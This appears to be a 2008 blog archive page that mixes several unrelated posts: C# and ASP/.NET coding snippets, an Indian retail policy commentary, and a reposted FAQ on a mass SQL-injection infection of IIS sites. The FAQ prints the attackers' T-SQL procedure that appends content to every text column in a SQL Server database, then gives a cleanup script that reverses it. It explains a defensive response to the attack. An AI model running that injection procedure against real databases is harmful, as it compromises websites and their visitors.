Wednesday, September 24, 2008

WordBreaker

public static string WordBreaker(string strWord, int breakingLength)
{
int len = strWord.Length;
if (len < breakingLength)
{
return strWord;
}

string output = string.Empty;
for (int count = 0; count < len; count += breakingLength)
{
// if(len/charCount+50)
int rem = len / (count + breakingLength);
if (rem != 0)
{
output += strWord.Substring(count, breakingLength) + "";
}
else
{
output += strWord.Substring(count, (len - count)) + " ";
}
}
return output;
}

Saturday, September 20, 2008

Massive infection of web sites(hacking of Web sites)

Mass Attack FAQ

Reports about the massive infection of web sites by an automated tool, whose most recent prominent victims have been United Nations, UK Government and the U.S. Department of Homeland Security raised some recurring questions which are worth answering.

  1. The attack is targeting Microsoft IIS web servers. Is there a Microsoft vulnerability?
  2. What can I do if I’m the administrator of an infected site?
  3. What should I do as an user to protect myself?
  4. How can NoScript protect if the compromised sites are in my trusted whitelist?

“Exploits of a Mom” by xkcd

  1. The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?

    Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
    That said, the attackers are targeting IIS web servers which run ASP for a reason.
    Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

    DECLARE @T varchar(255), @C varchar(255);
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name, b.name
    FROM sysobjects a, syscolumns b
    WHERE a.id = b.id AND a.xtype = 'u' AND
    (b.xtype = 99 OR
    b.xtype = 35 OR
    b.xtype = 231 OR
    b.xtype = 167);
    OPEN Table_Cursor;
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    WHILE (@@FETCH_STATUS = 0) BEGIN
    EXEC(
    'update [' + @T + '] set [' + @C + '] =
    rtrim(convert(varchar,[' + @C + ']))+
    '''''
    );
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    END;
    CLOSE Table_Cursor;
    DEALLOCATE Table_Cursor;

    This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
    So, to recap:

    1. There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
    2. SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
    3. Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.

    In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.

  2. What should I do if I’m the administrator of an infected site?

    First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
    In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
    If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:

    DECLARE @T varchar(255), @C varchar(255);
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name, b.name
    FROM sysobjects a, syscolumns b
    WHERE a.id = b.id AND a.xtype = 'u' AND
    (b.xtype = 99 OR
    b.xtype = 35 OR
    b.xtype = 231 OR
    b.xtype = 167);
    OPEN Table_Cursor;
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    WHILE (@@FETCH_STATUS = 0) BEGIN
    EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
    convert(varchar(8000), ['+@C+']),
    len(convert(varchar(8000), ['+@C+'])) - 6 -
    patindex(''%tpircs<%'',
    reverse(convert(varchar(8000), ['+@C+'])))
    )
    where ['+@C+'] like ''%'''
    );
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    END;
    CLOSE Table_Cursor;
    DEALLOCATE Table_Cursor;

    This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

    EXEC(
    'update [' + @T + '] set [' + @C + '] =
    rtrim(convert(varchar,[' + @C + ']))+
    '''''
    );

    it locates and removes it with

    EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
    convert(varchar(8000), ['+@C+']),
    len(convert(varchar(8000), ['+@C+'])) - 6 -
    patindex(''%tpircs<%'',
    reverse(convert(varchar(8000), ['+@C+'])))
    )
    where ['+@C+'] like ''%'''
    );

    Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
    Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.

  3. What should I do as an user to protect myself?

    OK, this one is the easiest :)

  4. How can NoScript protect if the compromised sites are in my trusted whitelist?

    Even if the compromised site is in your whitelist, allowed to run JavaScript, the malicious scripts are hosted on external servers controlled by the attackers (e.g. www.nihaorr1.com): therefore NoScript prevents them from being loaded and effectively defeats the attack.

Replacing Old Classic ASP COM Componenets With .NET Assemblies

Why? Because this change allows you to update your COM components on the fly, without reseting and sometimes rebooting you web server to get it to unlock the .dll...

All you need to do is open your COM component in VS.NET... It does most of the work for you.. You should end up with a nice simple class and namespace like

namespace MyWebDLL
{
///


/// Summary description for Hello.
///
public class Hello
{
public string Echo(string name){return name;}
}
}

Then you can set up your asp page to invoke your DLL by using

Dim foo
Set foo = Server.CreateObject("MyWebDLL.Hello")
Response.Write foo.Echo("blah")

In order for ASP to be able to create the object you are going to have to register your assembly... You have two options. According to Microsoft, the preferred method it to generate a strong name and put the assembly in the GAC, which assures that no-one else can make a DLL with the same name as yours and impersonate your class... To do this:

1. Generate a key pair with sn -k MyWebDLL.snk

2. Add the assembly attribute to the assembly

3. Rebuild the assembly

4. Install it into the GAC with gacutil /i MyWebDLL.dll

5. Register it on the machine with regasm /tlb MyWebDLL.dll

I personally do not like to use the GAC for my web apps... I just use the regasm utility with the /codebase switch and ignore the warning that my assembly should be strongly named. (regasm MyWebDLL.dll /tlb /codebase)

An alternate option is to use .NET to build a COM DLL (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vbcn7/html/vawlkWalkthroughCreatingCOMObjectsWithVisualBasicNET.asp)

Object Array to DataSet

I’m working with a Web Service right now that returns an array of objects. What I want to do, is bind the Object Array to a DataGrid. I was able to convert the Object Array to a DataSet and then bind it to the DataGrid.

Code Snippet

using System;
using System.Data;
using System.IO;
using System.Xml;
using System.Xml.Serialization;


namespace BusinessObject.Util
{
///
/// Utility Class for Object Arrays.
///

public class ObjectArray
{
private Object[] _objectArray;

public ObjectArray(Object[] objectArray)
{
this._objectArray = objectArray;
}

public DataSet ToDataSet()
{
DataSet ds = new DataSet();

XmlSerializer xmlSerializer =
new XmlSerializer(_objectArray.GetType());
StringWriter writer = new StringWriter();
xmlSerializer.Serialize(writer, _objectArray);
StringReader reader =
new StringReader(writer.ToString());

ds.ReadXml(reader);
return ds;
}
}
}

How to Use the ObjectArray Class with a Web Service

I would think that it’s obvious how this class should be used, but there’s always a chance that the person reading this article is new to .NET and could use an explanation.

Save the class to a folder in your project and change the Namespace of the class to match the location in your project.

Let’s say that the Web Service provided you with an array of “Persons” ( Person [ ] ). Create a new Person Array:

Person[] personList;

Call the Web Service method that returns the Person Array:

personList = Course.GetPersonList();

Instantiate the downloaded “Object Array” class with the personList:

ObjectArray objectArray = new ObjectArray(personList);

Create a DataSet and convert your ObjectArray to a DataSet using the method:

DataSet ds = new DataSet();
ds = objectArray.ToDataSet();

Friday, September 5, 2008

Resuscitating Indian Retail Industry

Unorganised and organised retail must coexist and flourish in India…

After almost scaring the Tata Motors away from West Bengal, Mamata Bannerjee has now trained her guns on Reliance Retail. Well, Reliance Retail should be used to being targeted by feisty women politicians. Immediately after coming to power in Lucknow, Ms. Mayawati had earlier undertaken a similar exercise in UP.

All this is taking place when behemoths of international retail are trying to enter the Indian market. Tesco has chosen to come with Tatas, while Reliance has tied up with Wincanton. The big daddy of them all, Wal-Mart is coming to India courtesy the Bharti group.

In the September edition of Pragati-The Indian National Interest Review, Prashant Kumar Singh makes significant observations about the confusion surrounding retail industry in India. He rightly notices that-

The debate over retail in India has been fixated on the growth of organised retail, entry of international retailers and concomitant demise of the traditional retailer. The spectre of ogres like Wal-Mart gobbling small retailers has completely paralysed the government on the policy formulation front; not because of any real concern for small retailers but more out of their perceived political clout. This lack of policy initiatives for boosting and regulating organised retail is unfortunately based on the fallacy that modern retail and unorganised retail are necessarily antagonistic.

…Available data provides sufficient evidence that traditional retail is under no immediate threat from organised retail. With the present rate of growth of organised retail of 45 percent per annum, any structural changes brought about by gradual policy shifts will take at least a decade before unorganised retail feels the heat. This assessment is not to condone continued government stupor towards the unorganised sector on the issues of credit availability, access to distribution channels, and realisation of fair price for the produce. It is, instead, meant to spur the government to initiate concrete measures to support the traditional retailers.

…Given the benefits of organised retail, the role of foreign direct investment (FDI) needs to be analysed. It is fallacious to prescribe FDI as the panacea for all the ills plaguing organised retail. The eagerness of international giants to enter Indian markets can be attributed to saturation of the developed markets and low penetration of formal retail in India. The entry of FDI in retail will tilt the balance between suppliers and retailers, force smaller players to adapt and differentiate, and bring consolidation in the sector. The accompanying direct benefits are substantial: increase in exports due to high level of sourcing from India, incorporation of global best practices, investments in the complete supply chain–especially in technologies relating to cold chain, food processing and IT, increase in product variety and categories, increase in employment, and secondary benefits of modern agriculture and shopping tourism. Moreover, this FDI in retail will arrive without any sops and tax breaks from the government, unlike IT and auto-manufacturing sectors, where state governments have been bending backwards to attract investments.

Prashant Kumar Singh makes a strong case that with the right government policies in place, “the ecosystem of the retail industry in India will then adapt itself to accommodate the two seemingly divergent strands of retailing, evolving into an indigenous Indian retail model”. To read the complete piece titled “Retail in Doldrums“, download the community edition(pdf) of the latest issue of Pragati-The Indian National Interest Review.